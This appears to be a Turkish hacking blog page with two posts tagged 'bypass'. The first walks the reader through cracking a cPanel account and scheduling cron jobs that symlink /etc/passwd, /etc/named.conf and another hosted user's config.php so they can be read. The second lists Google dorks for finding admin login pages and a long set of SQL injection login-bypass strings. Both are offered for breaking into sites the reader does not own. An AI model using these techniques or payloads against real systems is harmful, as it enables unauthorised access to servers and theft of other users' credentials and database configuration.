Newest Post
bypass etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
Merhaba arkadaşlar bugün sizlere
cron job bypass ile /etc/passwd okunmayan serverlerde /etc/passwd okumayı anlatacağım
öncelikle sitemizde bakıyoruz /etc/passwd hepsini okuyamıyoruz
şimdi cpanele gidelim tabi cpaneli cracklemeniz lazım
alt kısımda cron jobs buluyoruz arkadaşlar
şimdi yukarıda email kısmı var buraya sallama bir mail girin maille işimiz yok
Once Per Minute seçin şimdi aşağıda command kısmı var işimiz orayla
Kod:
ln -s /etc/passwd 1.txt
komutumuz bu arkadaşlar bu komut sayesinde filemanagerde 1.txt oluşacak ve bize /etc/passwd okuma şansı sunacak
Filemanagere gidiyoruz dosya hemen oluşmaz arkadaşlar sayfayı yeniliyoruz
30-40 sn sonra oluşuyor
dosyaya tıklayıp editi seçiyoruz
gördüğünüz gibi tüm /etc/passwd okuduk
aynı şekilde
Kod:
ln -s /etc/named.conf 2.txt
ile named.conf okuduk
gördüğünüz gibi arkadaşlar
burdan sonrası sizde
named.conf dan user olan siteyi bulup aynı şekilde config bilgilerini
çekebilirsiniz
örnek sitemiz MyBB forum
user --> kartal
ln -s /home/kartal/public_html/inc/config.php 3.txt
şeklinde sitenin config bilgilerini alabilirsiniz
Tag :// apache bypass,
Tag :// bypass,
Tag :// Cloudlinux Server,
Tag :// Cloudlinux Server bypass,
Tag :// Cron Job,
Tag :// Cron Job bypass,
Tag :// litespeed bypass,
Tag :// server bypass
Bypass nedir ?
Bana göre bypass script kodlanmasındaki hatalardan yararlanarak admin login ve pass ' ı bug 'a sokarak giriş yapmamızı sağlayan küçük bir hata ve büyük bir zarar
Başlayalım hadi (
ByPass için dork nasıl yazıcağız nasıl site bulabileceğiz ?
ByPass dorklarımızı kendimiz oluşturalım
Örnek çok kullanılan dorklar :
Kod:
inurl:/admin/login.php
inurl:/administrator/index.php
inurl:/admins/login.php
inurl/admin1/login.php
Bunlar çok kullanılan favori dorklar arasındadır
Ama hacklenen siteleri kaç kere hackleyebileceğizki hep aynı siteler
Öncelikle bir sitenin admin panelini buluyoruz
ByPass için Login ve Pass lar ;
Kod:
'=' 'or'
''Or'='Or''
anything' OR 'x'='x
1'or'1'='1
' or 1=1 or ''='
" or 1=1 or ""="
' OR ''='
'' OR ''=''
'OR''='
hey' or 1=1–
''Or 1 = 1'
' or 1=1--
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
hi") or ("a"="a
'hi' or 'x'='x';
x' or 1=1 or 'x'='y
\x27\x4F\x52 SELECT *
\x27\x6F\x72 SELECT *
'or select *
admin'--
")) or (("x"))=(("x
" or ""+"
admin"or 1=1 or ""="
admin") or ("1"="1"--
Arkadaşlar bu dorklardan fazla site çıkmayabilir bunun içinde diğer şekilde şöyle bir mantıkla kendi kafamızdaki kelimeler ile site çıkartabiliriz .. Örnek ;
Kod:
inurl:admin/login.php intext:mercedes
inurl:admin/login.php intext:lenovo
intext Komutuna kelime ekleyerek daha değişik siteler çıkartabilirsiniz
Kod:
inurl:/manager/login.php
inurl:/panelv2/login.php
inurl:/panel/login.php
inurl:/eng/login.php
Kayıtlar
